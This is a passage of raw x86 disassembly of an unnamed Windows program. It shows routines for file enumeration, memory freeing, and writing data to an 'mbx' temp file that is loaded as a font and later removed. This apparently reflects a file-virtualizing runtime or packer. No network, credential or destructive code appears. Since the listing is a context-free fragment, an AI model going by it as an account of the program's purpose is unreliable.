0 jz short loc_4135F2 mov eax, [ebp+arg_8] mov ecx, [ebp+var_40] mov [eax], ecx loc_4135F2: ; CODE XREF: sub_413272+376j push 0FFFFFFFFh mov [ebp+var_5C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_5C] jmp short loc_41364D ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413272+15Aj ; sub_413272+1C8j cmp [ebp+arg_8], 0 jz short loc_41362C mov eax, ds:dword_424888 mov eax, [eax+0Ch] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] add ecx, eax mov eax, [ebp+arg_8] mov [eax], ecx loc_41362C: ; CODE XREF: sub_413272+39Dj push 12h call ds:dword_42470C ; RtlRestoreLastWin32Error loc_413634: ; CODE XREF: sub_413272+D1j or [ebp+var_4], 0FFFFFFFFh call sub_41363F jmp short loc_41364B sub_413272 endp ; =============== S U B R O U T I N E ======================================= sub_41363F proc near ; CODE XREF: sub_413272+3C6p ; DATA XREF: _4:004212D0o push offset dword_424848 call ds:dword_4246D4 ; RtlLeaveCriticalSection retn sub_41363F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_413272 loc_41364B: ; CODE XREF: sub_413272+3CBj xor eax, eax loc_41364D: ; CODE XREF: sub_413272+51j ; sub_413272+13Aj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_413272 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41365E proc near ; CODE XREF: sub_41D96A+Ep ; sub_41D997+7Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+arg_8] or dword ptr [eax], 0FFFFFFFFh push 0Ch call sub_41BA4A pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41369B mov eax, [ebp+var_8] and dword ptr [eax], 0 mov eax, [ebp+var_8] and dword ptr [eax+4], 0 mov eax, [ebp+var_8] and dword ptr [eax+8], 0 mov eax, [ebp+var_8] mov [ebp+var_C], eax jmp short loc_41369F ; --------------------------------------------------------------------------- loc_41369B: ; CODE XREF: sub_41365E+1Fj and [ebp+var_C], 0 loc_41369F: ; CODE XREF: sub_41365E+3Bj mov eax, [ebp+var_C] mov [ebp+var_4], eax mov eax, [ebp+var_4] and dword ptr [eax], 0 push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_413272 test eax, eax jz short loc_4136F8 push 0 push [ebp+arg_0] call sub_41C9BA pop ecx pop ecx mov ecx, [ebp+var_4] mov [ecx+4], eax mov eax, [ebp+var_4] and dword ptr [eax+8], 0 push [ebp+var_4] push [ebp+var_4] mov ecx, ds:dword_42486C call sub_410000 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov [eax], ecx and [ebp+var_4], 0 push 1 pop eax jmp short locret_4136FA ; --------------------------------------------------------------------------- loc_4136F8: ; CODE XREF: sub_41365E+5Dj xor eax, eax locret_4136FA: ; CODE XREF: sub_41365E+98j leave retn 0Ch sub_41365E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136FE proc near ; CODE XREF: sub_41DC5C+12p ; sub_41DC8D+19p var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00413825 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4212E8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_42486C mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_413744 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_413748 ; --------------------------------------------------------------------------- loc_413744: ; CODE XREF: sub_4136FE+31j and [ebp+var_24], 0 loc_413748: ; CODE XREF: sub_4136FE+44j movzx eax, [ebp+var_24] test eax, eax jz loc_413825 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_42486C call sub_41EB4C mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_4137FE mov eax, [ebp+arg_8] and dword ptr [eax], 0 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_413798 push [ebp+var_1C] push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+4] call sub_413272 mov ecx, [ebp+arg_8] mov [ecx], eax loc_413798: ; CODE XREF: sub_4136FE+82j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jnz short loc_4137E5 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_4137D1 push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+4] call ds:dword_424650 ; FindFirstFileA mov ecx, [ebp+var_1C] mov [ecx+8], eax mov eax, [ebp+var_1C] xor ecx, ecx cmp dword ptr [eax+8], 0FFFFFFFFh setnz cl mov eax, [ebp+arg_8] mov [eax], ecx jmp short loc_4137E5 ; --------------------------------------------------------------------------- loc_4137D1: ; CODE XREF: sub_4136FE+A9j push [ebp+arg_4] mov eax, [ebp+var_1C] push dword ptr [eax+8] call ds:dword_424654 ; FindNextFileA mov ecx, [ebp+arg_8] mov [ecx], eax loc_4137E5: ; CODE XREF: sub_4136FE+A0j ; sub_4136FE+D1j push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_413827 ; --------------------------------------------------------------------------- loc_4137FE: ; CODE XREF: sub_4136FE+6Fj or [ebp+var_4], 0FFFFFFFFh call sub_413809 jmp short loc_413825 sub_4136FE endp ; =============== S U B R O U T I N E ======================================= sub_413809 proc near ; CODE XREF: sub_4136FE+104p ; DATA XREF: _4:004212F0o mov eax, ds:dword_42486C mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_413824 mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_413824: ; CODE XREF: sub_413809+Cj retn sub_413809 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4136FE loc_413825: ; CODE XREF: sub_4136FE+50j ; sub_4136FE+109j xor eax, eax loc_413827: ; CODE XREF: sub_4136FE+FEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4136FE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413838 proc near ; CODE XREF: sub_41473F+CEp ; sub_41DC35+Bp var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00413959 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4212F8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi mov eax, ds:dword_42486C mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_41387E mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_413882 ; --------------------------------------------------------------------------- loc_41387E: ; CODE XREF: sub_413838+31j and [ebp+var_2C], 0 loc_413882: ; CODE XREF: sub_413838+44j movzx eax, [ebp+var_2C] test eax, eax jz loc_413959 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_42486C call sub_41EB4C mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_413932 mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jz short loc_4138C2 mov eax, [ebp+var_1C] push dword ptr [eax+8] call ds:dword_424624 ; CloseHandle loc_4138C2: ; CODE XREF: sub_413838+7Cj push [ebp+arg_0] mov ecx, ds:dword_42486C call sub_41EBBB mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_41390C mov eax, [ebp+var_20] mov eax, [eax+4] mov [ebp+var_30], eax push [ebp+var_30] call sub_41BACD pop ecx push 1 pop eax and eax, 1 test eax, eax jz short loc_413904 push [ebp+var_20] call sub_41BACD pop ecx loc_413904: ; CODE XREF: sub_413838+C1j mov eax, [ebp+var_20] mov [ebp+var_38], eax jmp short loc_413910 ; --------------------------------------------------------------------------- loc_41390C: ; CODE XREF: sub_413838+A5j and [ebp+var_38], 0 loc_413910: ; CODE XREF: sub_413838+D2j mov eax, [ebp+arg_4] mov dword ptr [eax], 1 push 0FFFFFFFFh mov [ebp+var_3C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_41395B ; --------------------------------------------------------------------------- loc_413932: ; CODE XREF: sub_413838+6Fj or [ebp+var_4], 0FFFFFFFFh call sub_41393D jmp short loc_413959 sub_413838 endp ; =============== S U B R O U T I N E ======================================= sub_41393D proc near ; CODE XREF: sub_413838+FEp ; DATA XREF: _4:00421300o mov eax, ds:dword_42486C mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short locret_413958 mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_413958: ; CODE XREF: sub_41393D+Cj retn sub_41393D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_413838 loc_413959: ; CODE XREF: sub_413838+50j ; sub_413838+103j xor eax, eax loc_41395B: ; CODE XREF: sub_413838+F8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_413838 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41396C proc near ; CODE XREF: sub_41E519+20p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_78 = byte ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00413ACF SIZE 000001F8 BYTES ; FUNCTION CHUNK AT 00413D31 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421308 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 80h push ebx push esi push edi or [ebp+var_20], 0FFFFFFFFh or [ebp+var_28], 0FFFFFFFFh and [ebp+var_2C], 0 and [ebp+var_1C], 0 and [ebp+var_24], 0 push 0 lea eax, [ebp+var_20] push eax push 3 push 80000000h push [ebp+arg_0] call sub_414344 test eax, eax jz loc_413D31 cmp [ebp+var_20], 0FFFFFFFFh jz loc_413D31 mov eax, ds:dword_424864 mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4139F0 mov eax, [ebp+var_6C] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_70], 1 jmp short loc_4139F4 ; --------------------------------------------------------------------------- loc_4139F0: ; CODE XREF: sub_41396C+6Fj and [ebp+var_70], 0 loc_4139F4: ; CODE XREF: sub_41396C+82j movzx eax, [ebp+var_70] test eax, eax jz loc_413D31 and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_20] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_30], eax mov eax, [ebp+var_30] mov eax, [eax] mov eax, [eax] mov [ebp+var_34], eax cmp [ebp+var_30], 0 jnz short loc_413A3E push ds:off_4214F0 push 22h push ds:off_4214F4 call sub_41BB7C loc_413A3E: ; CODE XREF: sub_41396C+BDj mov eax, ds:dword_424868 mov [ebp+var_74], eax cmp [ebp+var_74], 0 jz short loc_413A5F mov eax, [ebp+var_74] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_78], 1 jmp short loc_413A63 ; --------------------------------------------------------------------------- loc_413A5F: ; CODE XREF: sub_41396C+DEj and [ebp+var_78], 0 loc_413A63: ; CODE XREF: sub_41396C+F1j movzx eax, [ebp+var_78] test eax, eax jz short loc_413ACF mov [ebp+var_4], 1 mov eax, [ebp+var_30] push dword ptr [eax] mov ecx, ds:dword_424868 call sub_41EB4C test eax, eax jz short loc_413AA8 push 0FFFFFFFFh mov [ebp+var_84], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_84] jmp loc_413D33 ; --------------------------------------------------------------------------- loc_413AA8: ; CODE XREF: sub_41396C+118j and [ebp+var_4], 0 call sub_413AB3 jmp short loc_413ACF sub_41396C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413AB3 proc near ; CODE XREF: sub_41396C+140p ; DATA XREF: _4:0042131Co mov eax, ds:dword_424868 mov [ebp-7Ch], eax cmp dword ptr [ebp-7Ch], 0 jz short locret_413ACE mov eax, [ebp-7Ch] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_413ACE: ; CODE XREF: sub_413AB3+Cj retn sub_413AB3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41396C loc_413ACF: ; CODE XREF: sub_41396C+FDj ; sub_41396C+145j push 104h call sub_41BA4A pop ecx mov [ebp+var_50], eax mov eax, [ebp+var_50] mov [ebp+var_2C], eax push 104h call sub_41BA4A pop ecx mov [ebp+var_54], eax mov eax, [ebp+var_54] mov [ebp+var_1C], eax push [ebp+var_1C] push 104h call ds:dword_4246B4 ; GetTempPathA push [ebp+var_2C] push 0 push offset aMbx ; "mbx" push [ebp+var_1C] call ds:dword_4246B0 ; GetTempFileNameA push 0 push 0 push 4 push 0 push 1 push 40000000h push [ebp+var_2C] call ds:dword_424628 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_413B5B push 0FFFFFFFFh mov [ebp+var_88], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_88] jmp loc_413D33 ; --------------------------------------------------------------------------- loc_413B5B: ; CODE XREF: sub_41396C+1CBj push 1000h call sub_41BA4A pop ecx mov [ebp+var_58], eax mov eax, [ebp+var_58] mov [ebp+var_24], eax and [ebp+var_38], 0 loc_413B73: ; CODE XREF: sub_41396C+2BFj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] cmp ecx, [eax+8] jnb loc_413C30 mov eax, [ebp+var_34] mov eax, [eax+8] mov [ebp+var_48], eax cmp [ebp+var_48], 1000h jbe short loc_413B9B mov [ebp+var_48], 1000h loc_413B9B: ; CODE XREF: sub_41396C+226j lea eax, [ebp+var_40] push eax push 0 lea eax, [ebp+var_3C] push eax push [ebp+var_48] push [ebp+var_24] push [ebp+var_20] call sub_415175 test eax, eax jz short loc_413BBD cmp [ebp+var_40], 0 jnz short loc_413BDF loc_413BBD: ; CODE XREF: sub_41396C+249j push 0FFFFFFFFh mov [ebp+var_8C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_8C] jmp loc_413D33 ; --------------------------------------------------------------------------- loc_413BDF: ; CODE XREF: sub_41396C+24Fj push 0 lea eax, [ebp+var_44] push eax push [ebp+var_3C] push [ebp+var_24] push [ebp+var_28] call ds:dword_42473C ; WriteFile test eax, eax jz short loc_413C00 mov eax, [ebp+var_44] cmp eax, [ebp+var_3C] jz short loc_413C22 loc_413C00: ; CODE XREF: sub_41396C+28Aj push 0FFFFFFFFh mov [ebp+var_90], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_90] jmp loc_413D33 ; --------------------------------------------------------------------------- loc_413C22: ; CODE XREF: sub_41396C+292j mov eax, [ebp+var_38] add eax, [ebp+var_3C] mov [ebp+var_38], eax jmp loc_413B73 ; --------------------------------------------------------------------------- loc_413C30: ; CODE XREF: sub_41396C+210j push [ebp+var_28] call ds:dword_424624 ; CloseHandle or [ebp+var_28], 0FFFFFFFFh push [ebp+var_2C] call ds:dword_42475C ; AddFontResourceA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_413C5C push [ebp+var_2C] call ds:dword_424640 ; DeleteFileA loc_413C5C: ; CODE XREF: sub_41396C+2E5j push 8 call sub_41BA4A pop ecx mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jz short loc_413C87 mov eax, [ebp+var_5C] and dword ptr [eax], 0 mov eax, [ebp+var_5C] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov eax, [ebp+var_5C] mov [ebp+var_94], eax jmp short loc_413C8E ; --------------------------------------------------------------------------- loc_413C87: ; CODE XREF: sub_41396C+2FFj and [ebp+var_94], 0 loc_413C8E: ; CODE XREF: sub_41396C+319j push [ebp+var_94] mov eax, [ebp+var_30] push dword ptr [eax] mov ecx, ds:dword_424868 call sub_410000 and [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_98], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_98] jmp short loc_413D33 ; END OF FUNCTION CHUNK FOR sub_41396C ; =============== S U B R O U T I N E ======================================= sub_413CC7 proc near ; DATA XREF: _4:00421310o mov eax, ds:dword_424864 mov [ebp-80h], eax cmp dword ptr [ebp-80h], 0 jz short loc_413CE2 mov eax, [ebp-80h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection loc_413CE2: ; CODE XREF: sub_413CC7+Cj cmp dword ptr [ebp-20h], 0FFFFFFFFh jz short loc_413CF4 lea eax, [ebp-4Ch] push eax push dword ptr [ebp-20h] call sub_41473F loc_413CF4: ; CODE XREF: sub_413CC7+1Fj cmp dword ptr [ebp-28h], 0FFFFFFFFh jz short loc_413D03 push dword ptr [ebp-28h] call ds:dword_424624 ; CloseHandle loc_413D03: ; CODE XREF: sub_413CC7+31j mov eax, [ebp-2Ch] mov [ebp-60h], eax push dword ptr [ebp-60h] call sub_41BACD pop ecx mov eax, [ebp-1Ch] mov [ebp-64h], eax push dword ptr [ebp-64h] call sub_41BACD pop ecx mov eax, [ebp-24h] mov [ebp-68h], eax push dword ptr [ebp-68h] call sub_41BACD pop ecx retn sub_413CC7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41396C loc_413D31: ; CODE XREF: sub_41396C+53j ; sub_41396C+5Dj ... xor eax, eax loc_413D33: ; CODE XREF: sub_41396C+137j ; sub_41396C+1EAj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_41396C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D44 proc near ; CODE XREF: sub_41E552+20p var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421320 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 34h push ebx push esi push edi or [ebp+var_20], 0FFFFFFFFh and [ebp+var_1C], 0 push 0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_41553D test eax, eax jz loc_413EDA movzx eax, [ebp+var_24] test eax, eax jnz loc_413EDA mov eax, ds:dword_424868 mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz short loc_413DB8 mov eax, [ebp+var_34] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_38], 1 jmp short loc_413DBC ; --------------------------------------------------------------------------- loc_413DB8: ; CODE XREF: sub_413D44+5Fj and [ebp+var_38], 0 loc_413DBC: ; CODE XREF: sub_413D44+72j movzx eax, [ebp+var_38] test eax, eax jz loc_413EDA and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_1C] mov ecx, ds:dword_424868 call sub_41EB4C mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_413EA8 mov eax, [ebp+var_28] cmp dword ptr [eax], 0 jz short loc_413E08 push ds:off_4214F0 push 70h push ds:off_4214F4 call sub_41BB7C loc_413E08: ; CODE XREF: sub_413D44+AFj mov eax, [ebp+var_28] cmp dword ptr [eax+4], 0 jnz short loc_413E24 push ds:off_4214F0 push 71h push ds:off_4214F4 call sub_41BB7C loc_413E24: ; CODE XREF: sub_413D44+CBj mov eax, [ebp+var_28] push dword ptr [eax+4] call ds:dword_42476C ; RemoveFontResourceA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+var_28] push dword ptr [eax+4] call ds:dword_424640 ; DeleteFileA push [ebp+var_1C] mov ecx, ds:dword_424868 call sub_41EBBB mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_413E8B mov eax, [ebp+var_2C] mov eax, [eax+4] mov [ebp+var_3C], eax push [ebp+var_3C] call sub_41BACD pop ecx push 1 pop eax and eax, 1 test eax, eax jz short loc_413E83 push [ebp+var_2C] call sub_41BACD pop ecx loc_413E83: ; CODE XREF: sub_413D44+134j mov eax, [ebp+var_2C] mov [ebp+var_44], eax jmp short loc_413E8F ; --------------------------------------------------------------------------- loc_413E8B: ; CODE XREF: sub_413D44+118j and [ebp+var_44], 0 loc_413E8F: ; CODE XREF: sub_413D44+145j push 0FFFFFFFFh mov [ebp+var_48], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_48] jmp short loc_413EDC ; --------------------------------------------------------------------------- loc_413EA8: ; CODE XREF: sub_413D44+A3j push 0FFFFFFFFh and [ebp+var_4C], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_4C] jmp short loc_413EDC ; --------------------------------------------------------------------------- loc_413EBE: ; DATA XREF: _4:00421328o mov eax, ds:dword_424868 mov [ebp+var_40], eax cmp [ebp+var_40], 0 jz short locret_413ED9 mov eax, [ebp+var_40] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_413ED9: ; CODE XREF: sub_413D44+186j retn ; --------------------------------------------------------------------------- loc_413EDA: ; CODE XREF: sub_413D44+41j ; sub_413D44+4Dj ... xor eax, eax loc_413EDC: ; CODE XREF: sub_413D44+162j ; sub_413D44+178j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_413D44 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413EED proc near ; CODE XREF: sub_41E836+Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421330 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi mov eax, ds:dword_424860 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_413F33 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_413F37 ; --------------------------------------------------------------------------- loc_413F33: ; CODE XREF: sub_413EED+31j and [ebp+var_24], 0 loc_413F37: ; CODE XREF: sub_413EED+44j movzx eax, [ebp+var_24] test eax, eax jz loc_413FCC and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424860 call sub_41EB4C mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_413F74 push 0FFFFFFFFh and [ebp+var_2C], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_413FCE ; --------------------------------------------------------------------------- loc_413F74: ; CODE XREF: sub_413EED+6Fj push 8000h push 0 push [ebp+arg_0] call ds:dword_424728 ; VirtualFree mov ecx, [ebp+arg_4] mov [ecx], eax push [ebp+arg_0] mov ecx, ds:dword_424860 call sub_41EBBB push 0FFFFFFFFh mov [ebp+var_30], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_413FCE ; --------------------------------------------------------------------------- loc_413FB0: ; DATA XREF: _4:00421338o mov eax, ds:dword_424860 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short locret_413FCB mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_413FCB: ; CODE XREF: sub_413EED+CFj retn ; --------------------------------------------------------------------------- loc_413FCC: ; CODE XREF: sub_413EED+50j xor eax, eax loc_413FCE: ; CODE XREF: sub_413EED+85j ; sub_413EED+C1j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_413EED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FDF proc near ; CODE XREF: sub_41E7F7+17p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421340 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 40h push ebx push esi push edi and [ebp+var_20], 0 mov eax, [ebp+arg_14] and dword ptr [eax], 0 and [ebp+var_24], 0 mov [ebp+var_1C], 2 mov eax, ds:dword_424864 mov [ebp+var_44], eax cmp [ebp+var_44], 0 jz short loc_41403A mov eax, [ebp+var_44] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_48], 1 jmp short loc_41403E ; --------------------------------------------------------------------------- loc_41403A: ; CODE XREF: sub_413FDF+46j and [ebp+var_48], 0 loc_41403E: ; CODE XREF: sub_413FDF+59j movzx eax, [ebp+var_48] test eax, eax jz loc_414201 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_41407E push 0FFFFFFFFh and [ebp+var_50], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_50] jmp loc_414203 ; --------------------------------------------------------------------------- loc_41407E: ; CODE XREF: sub_413FDF+84j mov eax, [ebp+var_28] mov eax, [eax] mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov eax, [eax] mov [ebp+var_30], eax mov eax, [ebp+var_30] mov ecx, [ebp+arg_C] cmp ecx, [eax+8] jbe short loc_4140A6 push 57h call ds:dword_42470C ; RtlRestoreLastWin32Error jmp loc_4141B6 ; --------------------------------------------------------------------------- loc_4140A6: ; CODE XREF: sub_413FDF+B8j cmp [ebp+arg_10], 0 jnz short loc_4140B8 mov eax, [ebp+var_30] mov eax, [eax+8] sub eax, [ebp+arg_C] mov [ebp+arg_10], eax loc_4140B8: ; CODE XREF: sub_413FDF+CBj mov eax, [ebp+arg_10] add eax, [ebp+arg_C] mov ecx, [ebp+var_30] cmp eax, [ecx+8] jbe short loc_4140D3 push 57h call ds:dword_42470C ; RtlRestoreLastWin32Error jmp loc_4141B6 ; --------------------------------------------------------------------------- loc_4140D3: ; CODE XREF: sub_413FDF+E5j mov eax, [ebp+arg_4] mov [ebp+var_54], eax cmp [ebp+var_54], 0 jbe short loc_4140F7 cmp [ebp+var_54], 2 jbe short loc_4140F0 cmp [ebp+var_54], 0F001Fh jz short loc_4140F0 jmp short loc_4140F7 ; --------------------------------------------------------------------------- loc_4140F0: ; CODE XREF: sub_413FDF+104j ; 